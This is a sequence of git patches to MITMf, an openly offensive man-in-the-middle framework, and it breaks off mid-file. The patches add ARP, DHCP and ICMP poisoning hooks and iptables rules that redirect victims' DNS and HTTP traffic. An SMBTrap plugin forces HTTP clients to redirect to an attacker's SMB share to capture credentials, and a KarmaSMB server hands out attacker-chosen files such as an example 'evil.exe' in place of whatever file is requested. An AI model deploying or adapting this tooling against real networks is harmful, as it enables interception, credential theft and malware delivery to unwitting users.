a/core/protocols/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py similarity index 100% rename from core/protocols/smb/SMBPackets.py rename to core/servers/smb/SMBPackets.py diff --git a/core/protocols/smb/SMBServer_Responder.py b/core/servers/smb/SMBServer_Responder.py similarity index 100% rename from core/protocols/smb/SMBServer_Responder.py rename to core/servers/smb/SMBServer_Responder.py diff --git a/core/protocols/smb/SMBserver.py b/core/servers/smb/SMBserver.py similarity index 100% rename from core/protocols/smb/SMBserver.py rename to core/servers/smb/SMBserver.py diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/mitmf.py b/mitmf.py index 6e21431..af53f6f 100755 --- a/mitmf.py +++ b/mitmf.py @@ -172,12 +172,17 @@ NetCreds().start(args.interface, myip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef -from core.dnschef.DNSchef import DNSChef +from core.servers.dns.DNSchef import DNSChef DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) +#Start the HTTP Server +from core.servers.http.HTTPServer import HTTPServer +HTTPServer.getInstance().start() +print "|_ HTTPserver online" + #Start the SMB server -from core.protocols.smb.SMBserver import SMBserver +from core.servers.smb.SMBserver import SMBserver print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index d3753ac..2acda8c 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -24,7 +24,7 @@ import logging from plugins.plugin import Plugin from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor -from core.dnschef.DNSchef import DNSChef +from core.servers.dns.DNSchef import DNSChef class HSTSbypass(Plugin): name = 'SSLstrip+' diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 4727fe5..02fcda9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -19,11 +19,11 @@ # from core.utils import SystemConfig, IpTables, shutdown -from core.protocols.arp.ARPpoisoner import ARPpoisoner -from core.protocols.arp.ARPWatch import ARPWatch -from core.dnschef.DNSchef import DNSChef -from core.protocols.dhcp.DHCPServer import DHCPServer -from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner +from core.poisoners.arp.ARPpoisoner import ARPpoisoner +from core.poisoners.arp.ARPWatch import ARPWatch +from core.servers.dns.DNSchef import DNSChef +from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner +from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin from scapy.all import * diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py new file mode 100644 index 0000000..cd470d5 --- /dev/null +++ b/plugins/TestPlugin.py @@ -0,0 +1,18 @@ +from plugins.plugin import Plugin +from core.servers.http.HTTPServer import HTTPServer +import tornado.web + +class TestPlugin(Plugin): + name = "testplugin" + optname = "test" + desc = "Plugin to test dynamically configuring the internal web server" + version = "0.1" + has_opts = False + + def initialize(self, options): + HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)]) + +class MainHandler(tornado.web.RequestHandler): + def get(self): + print self.request + self.write("Hello World!") diff --git a/requirements.txt b/requirements.txt index 1df0c6a..05433f1 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,4 +13,5 @@ service_identity watchdog impacket capstone +tornado pypcap \ No newline at end of file From 8b915064c14d8d36b064d5916d8aa769fa84dbb2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 20 May 2015 14:35:03 +0200 Subject: [PATCH 040/181] fixed wrong var name in beefautorun --- plugins/BeefAutorun.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 0f4bad9..6847217 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -43,7 +43,7 @@ class BeefAutorun(Inject, Plugin): Inject.initialize(self, options) - self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) self.onConfigChange() def onConfigChange(self): From 840e202e5bd31e918c5eab3d6114be6071112171 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 22 May 2015 20:16:47 +0200 Subject: [PATCH 041/181] handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message added the SMBTrap plugin --- core/sergioproxy/ProxyPlugins.py | 2 +- core/servers/http/HTTPServer.py | 3 +++ core/sslstrip/ServerConnection.py | 1 + plugins/SMBTrap.py | 23 +++++++++++++++++++++++ plugins/TestPlugin.py | 2 +- plugins/plugin.py | 7 +++++++ 6 files changed, 36 insertions(+), 2 deletions(-) create mode 100644 plugins/SMBTrap.py diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index d9175a3..35d037d 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -44,7 +44,7 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} pmthds = {} @staticmethod diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py index ce3ba9a..9cb9043 100644 --- a/core/servers/http/HTTPServer.py +++ b/core/servers/http/HTTPServer.py @@ -14,6 +14,9 @@ class HTTPServer: return HTTPServer._instance + def addHandler(self, urlregex, handler, vhost=''): + self.application.add_handlers(vhost, [(urlregex, handler)]) + def start(self, port=80): self.application.listen(port) t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 74868f4..65503d1 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -120,6 +120,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): + version, code, message = self.plugins.hook() mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py new file mode 100644 index 0000000..7110140 --- /dev/null +++ b/plugins/SMBTrap.py @@ -0,0 +1,23 @@ +import logging +import random +import string +from plugins.plugin import Plugin +from core.utils import SystemConfig + +mitmf_logger = logging.getLogger("mitmf") + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + has_opts = False + + def initialize(self, options): + self.ourip = SystemConfig.getIP(options.interface) + + def serverResponseStatus(self, request, version, code, message): + return (version, 302, "Found") + + def serverHeaders(self, response, request): + response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py index cd470d5..4fd212c 100644 --- a/plugins/TestPlugin.py +++ b/plugins/TestPlugin.py @@ -10,7 +10,7 @@ class TestPlugin(Plugin): has_opts = False def initialize(self, options): - HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)]) + HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler) class MainHandler(tornado.web.RequestHandler): def get(self): diff --git a/plugins/plugin.py b/plugins/plugin.py index 0d5a324..1d9b82b 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object): optname = "generic" tree_info = list() desc = "" + version = "0.0" has_opts = False def initialize(self, options): @@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object): ''' pass + def serverResponseStatus(self, request, version, code, message): + ''' + Handles server response HTTP version, code and message + ''' + return (version, code, message) + def serverResponse(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) From e985d42a8aca02417739edd0b40337520e44abe6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 23 May 2015 00:37:08 +0200 Subject: [PATCH 042/181] The new changes caused an exception when unpacking the tuple, fixed it --- core/sergioproxy/ProxyPlugins.py | 7 ++++++- core/sslstrip/ServerConnection.py | 6 +++++- plugins/SMBTrap.py | 1 + 3 files changed, 12 insertions(+), 2 deletions(-) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 35d037d..4a8a509 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -44,7 +44,12 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade": "clientRequest", + "handleStatus": "serverResponseStatus", + "handleResponse": "serverResponse", + "handleHeader": "serverHeaders", + "handleEndHeaders":"serverHeaders"} + pmthds = {} @staticmethod diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 65503d1..0126675 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -120,7 +120,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - version, code, message = self.plugins.hook() + try: + version, code, message = self.plugins.hook() + except ValueError: + pass + mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 7110140..157c1d5 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -20,4 +20,5 @@ class SMBTrap(Plugin): return (version, 302, "Found") def serverHeaders(self, response, request): + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file From f86457b300462ac23b067bcc6e78097048113521 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 27 May 2015 22:02:41 +0200 Subject: [PATCH 043/181] fixes #96 --- core/utils.py | 6 +++--- plugins/Spoof.py | 7 +------ 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/core/utils.py b/core/utils.py index 9aa8898..a12c3a5 100644 --- a/core/utils.py +++ b/core/utils.py @@ -90,9 +90,9 @@ class IpTables: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True - def DNS(self, ip, port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port)) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + def DNS(self, dns_redir_port): + mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True class Banners: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 4727fe5..24b4f78 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -48,8 +48,6 @@ class Spoof(Plugin): #Makes scapy more verbose debug = False - if options.log_level == 'debug': - debug = True if options.arp: @@ -98,9 +96,7 @@ class Spoof(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) + IpTables.getInstance().DNS(self.dnscfg['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -108,7 +104,6 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - IpTables.getInstance().Flush() if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) From 87cb98b6acdaca006dd7623b5a32590ab03954f7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 28 May 2015 13:49:40 +0200 Subject: [PATCH 044/181] fixes 98 --- plugins/SSLstrip+.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index d3753ac..958707d 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -41,7 +41,7 @@ class HSTSbypass(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() From 14580f1589e3b9d455741db424cb16b3c8e67797 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 30 May 2015 15:00:41 +0200 Subject: [PATCH 045/181] second implementation of the HTTP server, you can now define shares for the SMB server in the config file, added an option to switch between the normal SMB server and the Karma version. removed some useless code (left over from the responder plugin), serverResponseStatus hook now returns a dict (tuple was causing errors) --- config/mitmf.conf | 81 +++- core/servers/http/HTTPServer.py | 64 ++- core/servers/smb/KarmaSMB.py | 583 ++++++++++++++++++++++++ core/servers/smb/SMBPackets.py | 475 ------------------- core/servers/smb/SMBServer_Responder.py | 333 -------------- core/servers/smb/SMBserver.py | 126 ++--- core/sslstrip/ServerConnection.py | 17 +- core/utils.py | 16 +- mitmf.py | 6 +- plugins/SMBTrap.py | 2 +- plugins/SSLstrip+.py | 4 +- plugins/Spoof.py | 7 +- plugins/TestPlugin.py | 10 +- plugins/plugin.py | 2 +- 14 files changed, 806 insertions(+), 920 deletions(-) create mode 100644 core/servers/smb/KarmaSMB.py delete mode 100644 core/servers/smb/SMBPackets.py delete mode 100644 core/servers/smb/SMBServer_Responder.py diff --git a/config/mitmf.conf b/config/mitmf.conf index c6a4269..48b60f7 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -1,16 +1,10 @@ # -#MITMf configuration file +# MITMf configuration file # [MITMf] - # - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` - #(assuming you config file is in the default directory) - # - args='' - - #Required BeEF and Metasploit options + # Required BeEF and Metasploit options [[BeEF]] beefip = 127.0.0.1 beefport = 3000 @@ -19,37 +13,86 @@ [[Metasploit]] - msfport = 8080 #Port to start Metasploit's webserver on that will host exploits + msfport = 8080 # Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcpass = abc123 [[SMB]] # - #Here you can configure MITMf's internal SMB server + # Here you can configure MITMf's internal SMB server # - #Set a custom challenge + port = 445 + type = karma # Can be set to Normal or Karma + + # Set a custom challenge Challenge = 1122334455667788 + [[[Shares]]] # Only parsed if type = Normal + + # + # You can define shares here + # + + # [[[[Share1]]]] #Share name + # readonly = yes #Be very careful if you set this to no! + # path = /tmp #Share path + + # [[[[Share2]]]] + # readonly = yes + # path = /tmp + + [[[Karma]]] # Only parsed if type = Karma + + # + # Here you can configure the Karma-SMB server + # + + defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) + + # exe = /tmp/evil.exe + # dll = /tmp/evil.dll + # ini = /tmp/desktop.ini + # bat = /tmp/evil.bat + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # + + port = 80 + + [[[Paths]]] + + # + # Here you can define the content to deliver + # + + # Format is urlpath = filesystem path (urlpath can be a regular expression) + + # ".*" = "/var/www" + # "/test" = "/var/www2" + [[DNS]] # - #Here you can configure MITMf's internal DNS server + # Here you can configure MITMf's internal DNS server # - tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) - port = 53 #Port to listen on - ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) + tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 # Port to listen on + ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!) # - #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 - #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 # nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.0.2.1 + *.thesprawls.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -85,7 +128,7 @@ *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= # -#Plugin configuration starts here +# Plugin configuration starts here # [Spoof] diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py index 9cb9043..054975e 100644 --- a/core/servers/http/HTTPServer.py +++ b/core/servers/http/HTTPServer.py @@ -1,11 +1,46 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys import tornado.ioloop import tornado.web import threading -class HTTPServer: +from core.configwatcher import ConfigWatcher + +tornado_logger = logging.getLogger("tornado") +tornado_logger.propagate = False +formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +fileHandler = logging.FileHandler("./logs/mitmf.log") +streamHandler = logging.StreamHandler(sys.stdout) +fileHandler.setFormatter(formatter) +streamHandler.setFormatter(formatter) +tornado_logger.addHandler(fileHandler) +tornado_logger.addHandler(streamHandler) + +class HTTPServer(ConfigWatcher): _instance = None application = tornado.web.Application([]) + http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"]) @staticmethod def getInstance(): @@ -17,8 +52,31 @@ class HTTPServer: def addHandler(self, urlregex, handler, vhost=''): self.application.add_handlers(vhost, [(urlregex, handler)]) - def start(self, port=80): - self.application.listen(port) + def addStaticPathHandler(self, urlregex, path, vhost=''): + self.application.add_handlers(vhost, [(urlregex, {"static_path": path})]) + + def resetApplication(self): + self.application = tornado.web.Application([]) + + def parseConfig(self): + for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems(): + self.addStaticPathHandler(url, path) + + def onConfigChange(self): + self.resetApplication() + self.parseConfig() + + def start(self): + self.parseConfig() + self.application.listen(self.http_port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) t.setDaemon(True) t.start() + +class HTTPHandler(tornado.web.RequestHandler): + def get(self): + raise HTTPError(405) + + def post(self): + raise HTTPError(405) \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py new file mode 100644 index 0000000..3c7cd59 --- /dev/null +++ b/core/servers/smb/KarmaSMB.py @@ -0,0 +1,583 @@ +#!/usr/bin/python +# Copyright (c) 2015 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Karma SMB +# +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# Description: +# The idea of this script is to answer any file read request +# with a set of predefined contents based on the extension +# asked, regardless of the sharename and/or path. +# When executing this script w/o a config file the pathname +# file contents will be sent for every request. +# If a config file is specified, format should be this way: +# = +# for example: +# bat = /tmp/batchfile +# com = /tmp/comfile +# exe = /tmp/exefile +# +# The SMB2 support works with a caveat. If two different +# filenames at the same share are requested, the first +# one will work and the second one will not work if the request +# is performed right away. This seems related to the +# QUERY_DIRECTORY request, where we return the files available. +# In the first try, we return the file that was asked to open. +# In the second try, the client will NOT ask for another +# QUERY_DIRECTORY but will use the cached one. This time the new file +# is not there, so the client assumes it doesn't exist. +# After a few seconds, looks like the client cache is cleared and +# the operation works again. Further research is needed trying +# to avoid this from happening. +# +# SMB1 seems to be working fine on that scenario. +# +# ToDo: +# [ ] A lot of testing needed under different OSes. +# I'm still not sure how reliable this approach is. +# [ ] Add support for other SMB read commands. Right now just +# covering SMB_COM_NT_CREATE_ANDX +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're +# hosting. *CAREFUL!!!* +# + +import sys +import os +import argparse +import logging +import ntpath +import ConfigParser + +from impacket import LOG as logger +from impacket import smbserver, smb, version +import impacket.smb3structs as smb2 +from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ + STATUS_OBJECT_PATH_NOT_FOUND +from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ + getFileTime, queryPathInformation + +class KarmaSMBServer(): + def __init__(self, smb_challenge, smb_port, smb2Support = False): + self.server = 0 + self.defaultFile = None + self.extensions = {} + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) + smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','credentials_file','') + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','Logon server share') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # NETLOGON always needed + smbConfig.add_section('NETLOGON') + smbConfig.set('NETLOGON','comment','Logon server share') + smbConfig.set('NETLOGON','read only','no') + smbConfig.set('NETLOGON','share type','0') + smbConfig.set('NETLOGON','path','') + + # SYSVOL always needed + smbConfig.add_section('SYSVOL') + smbConfig.set('SYSVOL','comment','') + smbConfig.set('SYSVOL','read only','no') + smbConfig.set('SYSVOL','share type','0') + smbConfig.set('SYSVOL','path','') + + if smb2Support: + smbConfig.set("global", "SMB2Support", "True") + + self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server.processConfigFile() + + # Unregistering some dangerous and unwanted commands + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) + + self.server.unregisterSmb2Command(smb2.SMB2_WRITE) + + self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) + self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) + self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) + self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) + + # And the same for SMB2 + self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) + self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) + self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) + self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) + self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) + + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WONT (specially OSX) + # ask for shares using MS-RAP. + + self.__srvsServer = SRVSServer() + self.__srvsServer.daemon = True + self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) + + def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = STATUS_SUCCESS + findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) + origFileName = os.path.basename(origPathName) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + if (len(data) > 0): + findFirst2Data = smb.SMBFindFirst2_Data(data) + else: + findFirst2Data = '' + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + + # 2. We call the normal findFirst2 call, but with our targetFile + searchResult, searchCount, errorCode = findFirst2(path, + targetFile, + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'] ) + + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + #i[1].dump() + try: + # 3. And we restore the original filename requested ;) + i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) + except: + pass + + data = i[1].getData() + lenData = len(data) + if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = connData['SIDs'].keys()[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break + else: + searchCount +=1 + respData += data + totalData += lenData + + + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + + #ntCreateAndXParameters.dump() + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls (e.g. SMB_COM_WRITE) + createOptions = ntCreateAndXParameters['CreateOptions'] + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [respSMBCommand], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + # 2. We change the filename in the request for our targetFile + ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) + SMBCommand['Data'] = str(ntCreateAndXData) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + + # 3. We call the original call with our modified data + return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) + + def queryPathInformation(self, connId, smbServer, recvPacket, 